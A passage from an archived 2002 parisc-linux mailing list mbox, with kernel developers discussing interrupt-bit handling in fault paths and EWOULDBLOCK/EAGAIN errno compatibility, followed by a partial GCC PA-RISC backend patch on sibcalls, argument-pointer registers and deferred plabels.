that is bogus too (see below). One possible reason is that we didn't
have exception table support yet, and were probably taking kernel space
faults for bogus user addresses in the user copy routines.

Also, at the time we had not begun the SMP support, and the CONFIG_SMP
part of system.h was not filled in, and therefore I just saw the UP
definition of sti.  I probably couldn't imagine that the CONFIG_SMP
support would have sti enabling interrupts on all processors.  Yes, I know
now that that is the solution that Linux has chosen for supporting broken
(non SMP safe) drivers on SMP kernels ...

> Matthew Wilcox wrote:
> > So I think we want to change the sti() call to local_irq_enable().
>
> I think we want to remove it all together. Since I don't have a PA2.0
> book handy, PA1.1 Arch and Instruction Set Manual, page 5-141 says:
>         "... Execution of an RFIR instruction when any of the
>         PSW Q, I, or R bits are ones is an undefined operation."
>
> When "handle_interrupts()" is done, execution will return to entry.S
> and execute "rfir".  I expect RFIR to put I-bit back the way it was.

Well, I too think we shouldn't be calling local_irq_enable(), but NOT for
the reason above.  We would have had more severe problems if we called
rfir with I bit on (or Q bit for that matter).  Upon return from
handle_interruption we turn on the I bit, but then later we disable I and
Q before calling rfir in the return path from handle_interruption, so this
is not an issue.

Anyway, it would be bad to handle page faults with the I bit off.  But the
only time we should be coming into handle_interruption with the I bit off
should be during a kernel fault.  And we shouldn't be processing a user
space page fault in that case.

Note that we are currently turning the I bit on when we return from
handle_interruption, so this, so removing the local_irq_enable() is not
going to actually change any behaviour.  I just don't think it is
necessary, and the enablement upon return may be wrong also.  I believe
that the reason I put the original sti in (thinking it was a local cpu I
bit enable only) was based on a wrong understanding of the problem, and
that it was probably fixed the right way later on.

Now, I've also spent some time looking at the I bit enablement at the head
of intr_return in entry.S.  I don't think that is correct either.  But
just removing it is not the correct answer.  I know at one time I was
under the impression that calling schedule() with I bit off was a bad
thing.  But that is wrong.  Other architectures explicitly do this before
checking the RESCHED bit, and it is OK to call schedule with I bit off,
since schedule unconditionally turns it off without saving the I bit state
near the front of the routine with a spin_lock_irq() anyway.

So there MAY be a race condition bug with our checking for rescheds and
signals pending, but it needs more thought (we also check software
interrupts in the same path, need to make sure we do the right thing for
all of that).

Note, I don't think any of this is going to explain the problem specific
to the rp2470.

But, the original bad sti call may very well explain the apt-get SMP bug
(apt-get was causing an unaligned fault, which by itself shouldn't have
been a problem).

John

P.S. I'll try to do a more thorough investigation of the I bit handling
in intr_return tonight.


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Tue, 22 Oct 2002 10:02:17 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <02102210021702.00736@localhost.localdomain>
References: <200210211646.g9LGki9b016805@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621849 15915 80.91.229.3 (22 Nov 2014 02:04:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:09 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:05:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 9B6E24829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:05:30 -0600 (MDT)
Original-Received: (qmail 31017 invoked by uid 0); 22 Oct 2002 15:05:21 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.12 (spamassassin: 2.31. . Clear:. Processed in 0.759766 secs); 22 Oct 2002 15:05:21 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.35)
  by mail.goquest.com with SMTP; 22 Oct 2002 15:05:20 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <200210211646.g9LGki9b016805@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16550

On Monday 21 October 2002 11:46 am, John David Anglin wrote:
> > it sounds like a gcc bug:
>
> What does a gcc bug sound like ;-)
>
> Dave
It is an indirect call (Telepathic) -
You have to listen for its echo from the programmer's mouth.
Mike


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EWOULDBLOCK vs. EAGAIN
Date: Tue, 22 Oct 2002 09:24:24 -0600 (MDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200210221524.JAA28153@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621849 15918 80.91.229.3 (22 Nov 2014 02:04:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:24:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D8724829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:24:28 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id E71386E6
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 11:24:24 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id JAA28153
	for parisc-linux@lists.parisc-linux.org; Tue, 22 Oct 2002 09:24:24 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16551

I found a bug last night where a program was expecting EWOULDBLOCK, but
we were returning EAGAIN. The kernel returns EAGAIN, which is correct.
However, the Gnu C library says that EWOULDBLOCK should be defined as the
same thing. We didn't do that on parisc linux. Probably because we
borrowed our errno's from HP-UX. But that is wrong.

So, how should we fix this?  I don't think we can avoid breaking binary
compatibility.  The problem is that the kernel returns EWOULDBLOCK in some
cases (I've enclosed a list of files that might affect us below, file
locking and usb being the ones that are most likely to affect us).

I think we should change errno.h to define EWOULDBLOCK as EAGAIN. That
will fix some programs once they are recompiled. Of course, it will
break some others, but they will also be fixed once again once they
are recompiled.

How hard would it be to grep the source of all debian packages, so we
can find which packages should be rebuilt?

John



From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EWOULDBLOCK vs. EAGAIN
Date: Tue, 22 Oct 2002 08:32:15 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20021022153215.GD22052@tausq.org>
References: <200210221524.JAA28153@udlkern.fc.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621849 15919 80.91.229.3 (22 Nov 2014 02:04:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:29:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A090D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:29:13 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 90561CD83C; Tue, 22 Oct 2002 08:32:15 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200210221524.JAA28153@udlkern.fc.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16552

> I found a bug last night where a program was expecting EWOULDBLOCK, but
> we were returning EAGAIN. The kernel returns EAGAIN, which is correct.
> However, the Gnu C library says that EWOULDBLOCK should be defined as the
> same thing. We didn't do that on parisc linux. Probably because we
> borrowed our errno's from HP-UX. But that is wrong.

jsm,

this was discussed briefly before, but no one has fixed it yet ... 
see Carlos' post on this subject:
http://lists.parisc-linux.org/hypermail/parisc-linux/9895.html

if people think that is a good solution, we can try to do it.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: EWOULDBLOCK vs. EAGAIN
Date: Tue, 22 Oct 2002 09:34:55 -0600 (MDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200210221534.JAA28679@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621850 15922 80.91.229.3 (22 Nov 2014 02:04:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:35:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 211B54839
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:35:02 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 02101805163
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 11:34:55 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id JAA28679
	for parisc-linux@lists.parisc-linux.org; Tue, 22 Oct 2002 09:34:55 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16553

OK, I should have checked the archives first. It looks like this issue
has already come up. In that case we fixed the app. But I'm not comfortable
with the fact that we are different from every other architecture here.

Yes, to be completely portable across other Unix flavors, you should
check for both EAGAIN and EWOULDBLOCK. But it would appear that
Gnu C library documentation says they should be the same, and they
ARE the same on all other Linux architectures. So, in my opinion,
we are broken, not the apps.

John

P.S. I know most of you don't care, but the broken app in this case is
telnetd. It drops connections if you blast too much to stdout.


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Tue, 22 Oct 2002 11:36:17 -0400 (EDT)
Lines: 2357
Approved: news@gmane.org
Message-ID: <200210221536.g9MFaIjM020404@hiauly1.hia.nrc.ca>
References: <02102210021702.00736@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621850 15924 80.91.229.3 (22 Nov 2014 02:04:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:10 +0000 (UTC)
Cc: jsoe0708@tiscali.be, grundler@dsl2.external.hp.com,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: mszick@goquest.com (Michael S.Zick)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:36:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0548B4830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:36:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9MFaJ00020406;
	Tue, 22 Oct 2002 11:36:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9MFaIjM020404;
	Tue, 22 Oct 2002 11:36:18 -0400 (EDT)
In-Reply-To: <02102210021702.00736@localhost.localdomain> from "Michael S.Zick" at Oct 22, 2002 10:02:17 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16554

> On Monday 21 October 2002 11:46 am, John David Anglin wrote:
> > > it sounds like a gcc bug:
> >
> > What does a gcc bug sound like ;-)
> >
> > Dave
> It is an indirect call (Telepathic) -
> You have to listen for its echo from the programmer's mouth.

Ah, something I have been working on ...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

Index: config/pa/pa-64.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa-64.h,v
retrieving revision 1.12
diff -u -3 -p -r1.12 pa-64.h
--- config/pa/pa-64.h	17 Sep 2002 03:30:37 -0000	1.12
+++ config/pa/pa-64.h	22 Oct 2002 14:04:18 -0000
@@ -1,6 +1,6 @@
 /* Definitions of target machine for GNU compiler, for HPs using the
    64bit runtime model.
-   Copyright (C) 1999, 2000 Free Software Foundation, Inc.
+   Copyright (C) 1999, 2000, 2002 Free Software Foundation, Inc.
 
 This file is part of GNU CC.
 
@@ -76,17 +76,24 @@ Boston, MA 02111-1307, USA.  */
    ?!? This may not work reliably.  Keep an eye out for problems.  */
 #undef SECONDARY_MEMORY_NEEDED_RTX
 
-
 /* ?!? This needs to be made compile-time selectable.
 
    The PA64 runtime model has arguments that grow to higher addresses
    (like most other targets).  The older runtime model has arguments
    that grow to lower addresses.  What fun.  */
 #undef ARGS_GROW_DOWNWARD
-#undef ARG_POINTER_REGNUM
-#define ARG_POINTER_REGNUM 29
-#undef STATIC_CHAIN_REGNUM
-#define STATIC_CHAIN_REGNUM 31
+
+/* Sibling calls should be ok.  They appear to provide a small performance
+   improvement.
+
+   FIXME: There are problems with out-of-range sibcalls using GNU ld.
+   As a temporary workaround, only enable sibcalls when not using GNU
+   ld or when TARGET_LONG_CALLS is true.  GNU ld needs to be fixed to
+   check the distance from the call site to the stub.  It also needs
+   to do a better job placing stubs.  The same problem applies to
+   regular calls but is less severe.  */
+#undef FUNCTION_OK_FOR_SIBCALL
+#define FUNCTION_OK_FOR_SIBCALL(DECL) (!TARGET_GNU_LD || TARGET_LONG_CALLS)
 
 /* If defined, a C expression which determines whether the default
    implementation of va_arg will attempt to pad down before reading the
Index: config/pa/pa-linux.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa-linux.h,v
retrieving revision 1.26
diff -u -3 -p -r1.26 pa-linux.h
--- config/pa/pa-linux.h	3 Oct 2002 04:05:54 -0000	1.26
+++ config/pa/pa-linux.h	22 Oct 2002 14:04:18 -0000
@@ -196,6 +196,19 @@ Boston, MA 02111-1307, USA.  */
     }								\
   while (0)
 
+/* As well as globalizing the label, we need to encode the label
+   to ensure a plabel is generated in an indirect call.  */
+
+#undef ASM_OUTPUT_EXTERNAL_LIBCALL
+#define ASM_OUTPUT_EXTERNAL_LIBCALL(FILE, FUN)  		\
+  do								\
+    {								\
+      if (!FUNCTION_NAME_P (XSTR (FUN, 0)))			\
+	hppa_encode_label (FUN);				\
+      (*targetm.asm_out.globalize_label) (FILE, XSTR (FUN, 0));	\
+    }								\
+  while (0)
+
 /* Linux always uses gas.  */
 #undef TARGET_GAS
 #define TARGET_GAS 1
Index: config/pa/pa-protos.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa-protos.h,v
retrieving revision 1.18
diff -u -3 -p -r1.18 pa-protos.h
--- config/pa/pa-protos.h	20 Oct 2002 22:37:12 -0000	1.18
+++ config/pa/pa-protos.h	22 Oct 2002 14:04:18 -0000
@@ -105,6 +105,8 @@ extern int jump_in_call_delay PARAMS ((r
 extern enum reg_class secondary_reload_class PARAMS ((enum reg_class,
 						      enum machine_mode, rtx));
 extern int hppa_fpstore_bypass_p PARAMS ((rtx, rtx));
+extern int attr_length_millicode_call PARAMS ((rtx, int));
+extern int attr_length_call PARAMS ((rtx, int));
 
 /* Declare functions defined in pa.c and used in templates.  */
 
Index: config/pa/pa.c
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa.c,v
retrieving revision 1.183
diff -u -3 -p -r1.183 pa.c
--- config/pa/pa.c	20 Oct 2002 22:37:12 -0000	1.183
+++ config/pa/pa.c	22 Oct 2002 14:04:19 -0000
@@ -95,6 +95,7 @@ hppa_fpstore_bypass_p (out_insn, in_insn
 #endif
 #endif
 
+static struct machine_function * pa_init_machine_status PARAMS ((void));
 static inline rtx force_mode PARAMS ((enum machine_mode, rtx));
 static void pa_combine_instructions PARAMS ((rtx));
 static int pa_can_combine_p PARAMS ((rtx, rtx, rtx, int, rtx, rtx, rtx));
@@ -120,7 +121,16 @@ static const char *pa_strip_name_encodin
 static void pa_globalize_label PARAMS ((FILE *, const char *))
      ATTRIBUTE_UNUSED;
 static void pa_asm_output_mi_thunk PARAMS ((FILE *, tree, HOST_WIDE_INT, tree));
+static void copy_fp_args PARAMS ((rtx))
+     ATTRIBUTE_UNUSED;
+static int length_fp_args PARAMS ((rtx))
+     ATTRIBUTE_UNUSED;
+static struct deferred_plabel *get_plabel PARAMS ((const char *))
+     ATTRIBUTE_UNUSED;
 
+/* Unique rtx for the incoming arg pointer register.  */
+
+rtx arg_pointer_incoming_rtx;
 
 /* Save the operands last given to a compare for use when we
    generate a scc or bcc insn.  */
@@ -149,7 +159,7 @@ static rtx find_addr_reg PARAMS ((rtx));
 /* Keep track of the number of bytes we have output in the CODE subspaces
    during this compilation so we'll know when to emit inline long-calls.  */
 
-unsigned int total_code_bytes;
+unsigned long total_code_bytes;
 
 /* Variables to handle plabels that we discover are necessary at assembly
    output time.  They are output after the current function.  */
@@ -202,6 +212,16 @@ static size_t n_deferred_plabels = 0;
 
 struct gcc_target targetm = TARGET_INITIALIZER;
 
+static struct machine_function *
+pa_init_machine_status ()
+{
+  if (arg_pointer_incoming_rtx == 0)
+    arg_pointer_incoming_rtx
+      = gen_rtx_REG (Pmode, ARG_POINTER_INCOMING_REGNUM);
+
+  return NULL;
+}
+
 void
 override_options ()
 {
@@ -286,7 +306,7 @@ override_options ()
       warning ("PIC code generation is not compatible with fast indirect calls\n");
    }
 
-  if (! TARGET_GAS && write_symbols != NO_DEBUG)
+  if (!TARGET_GAS && write_symbols != NO_DEBUG)
     {
       warning ("-g is only supported when using GAS on this processor,");
       warning ("-g option disabled");
@@ -309,6 +329,9 @@ override_options ()
       targetm.asm_out.unaligned_op.si = NULL;
       targetm.asm_out.unaligned_op.di = NULL;
     }
+
+  if (TARGET_64BIT)
+    init_machine_status = pa_init_machine_status;
 }
 
 /* Return nonzero only if OP is a register of mode MODE,
@@ -3105,7 +3128,7 @@ compute_frame_size (size, fregs_live)
 
   /* Account for space used by the callee general register saves.  */
   for (i = 18; i >= 3; i--)
-    if (regs_ever_live[i])
+    if (regs_ever_live[i] && !call_really_used_regs[i])
       fsize += UNITS_PER_WORD;
 
   /* Round the stack.  */
@@ -3194,14 +3217,14 @@ pa_output_function_prologue (file, size)
   fputs ("\n\t.ENTRY\n", file);
 
   /* If we're using GAS and SOM, and not using the portable runtime model,
-     then we don't need to accumulate the total number of code bytes.  */
+     or function sections, then we don't need to accumulate the total number
+     of code bytes.  */
   if ((TARGET_GAS && TARGET_SOM && ! TARGET_PORTABLE_RUNTIME)
-      /* FIXME: we can't handle long calls for TARGET_64BIT.  */
-      || TARGET_64BIT)
+      || flag_function_sections)
     total_code_bytes = 0;
   else if (INSN_ADDRESSES_SET_P ())
     {
-      unsigned int old_total = total_code_bytes;
+      unsigned long old_total = total_code_bytes;
 
       total_code_bytes += INSN_ADDRESSES (INSN_UID (get_last_nonnote_insn ()));
       total_code_bytes += FUNCTION_BOUNDARY / BITS_PER_UNIT;
@@ -3344,7 +3367,7 @@ hppa_expand_prologue ()
 	}
 
       for (i = 18; i >= 4; i--)
-	if (regs_ever_live[i] && ! call_used_regs[i])
+	if (regs_ever_live[i] && !call_really_used_regs[i])
 	  {
 	    store_reg (i, offset, FRAME_POINTER_REGNUM);
 	    offset += UNITS_PER_WORD;
@@ -3384,7 +3407,7 @@ hppa_expand_prologue ()
 	}
 
       for (i = 18; i >= 3; i--)
-      	if (regs_ever_live[i] && ! call_used_regs[i])
+	if (regs_ever_live[i] && !call_really_used_regs[i])
 	  {
 	    /* If merge_sp_adjust_with_store is nonzero, then we can
 	       optimize the first GR save.  */
@@ -3485,6 +3508,14 @@ hppa_expand_prologue ()
 	}
     }
 
+#ifdef ARG_POINTER_INCOMING_REGNUM
+  if (ARG_POINTER_REGNUM != ARG_POINTER_INCOMING_REGNUM
+      && regs_ever_live[ARG_POINTER_REGNUM])
+    {
+      emit_move_insn (arg_pointer_rtx, arg_pointer_incoming_rtx);
+    }
+#endif
+
   /* FIXME: expand_call and expand_millicode_call need to be fixed to
      prevent insns with frame notes being scheduled in the delay slot
      of calls.  This causes problems because the dwarf2 output code
@@ -3617,7 +3648,7 @@ hppa_expand_epilogue ()
 	}
 
       for (i = 18; i >= 4; i--)
-	if (regs_ever_live[i] && ! call_used_regs[i])
+	if (regs_ever_live[i] && !call_really_used_regs[i])
 	  {
 	    load_reg (i, offset, FRAME_POINTER_REGNUM);
 	    offset += UNITS_PER_WORD;
@@ -3654,7 +3685,7 @@ hppa_expand_epilogue ()
 
       for (i = 18; i >= 3; i--)
 	{
-	  if (regs_ever_live[i] && ! call_used_regs[i])
+	  if (regs_ever_live[i] && !call_really_used_regs[i])
 	    {
 	      /* Only for the first load.
 	         merge_sp_adjust_with_load holds the register load
@@ -3755,7 +3786,7 @@ hppa_profile_hook (label_no)
   begin_label_rtx = gen_rtx_SYMBOL_REF (Pmode, ggc_strdup (begin_label_name));
 
   if (TARGET_64BIT)
-    emit_move_insn (arg_pointer_rtx,
+    emit_move_insn (arg_pointer_incoming_rtx,
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
 
@@ -3798,7 +3829,8 @@ hppa_profile_hook (label_no)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
       if (TARGET_64BIT)
-	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
+	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
+		 arg_pointer_incoming_rtx);
 
       emit_move_insn (pic_offset_table_rtx, hppa_pic_save_rtx ());
     }
@@ -4723,6 +4755,47 @@ output_global_address (file, x, round_co
     output_addr_const (file, x);
 }
 
+static struct deferred_plabel *
+get_plabel (fname)
+     const char *fname;
+{
+  size_t i;
+
+  /* See if we have already put this function on the list of deferred
+     plabels.  This list is generally small, so a liner search is not
+     too ugly.  If it proves too slow replace it with something faster.  */
+  for (i = 0; i < n_deferred_plabels; i++)
+    if (strcmp (fname, deferred_plabels[i].name) == 0)
+      break;
+
+  /* If the deferred plabel list is empty, or this entry was not found
+     on the list, create a new entry on the list.  */
+  if (deferred_plabels == NULL || i == n_deferred_plabels)
+    {
+      const char *real_name;
+
+      if (deferred_plabels == 0)
+	deferred_plabels = (struct deferred_plabel *)
+	  ggc_alloc (sizeof (struct deferred_plabel));
+      else
+	deferred_plabels = (struct deferred_plabel *)
+	  ggc_realloc (deferred_plabels,
+		       ((n_deferred_plabels + 1)
+			* sizeof (struct deferred_plabel)));
+
+      i = n_deferred_plabels++;
+      deferred_plabels[i].internal_label = gen_label_rtx ();
+      deferred_plabels[i].name = ggc_strdup (fname);
+
+      /* Gross.  We have just implicitly taken the address of this function,
+	 mark it as such.  */
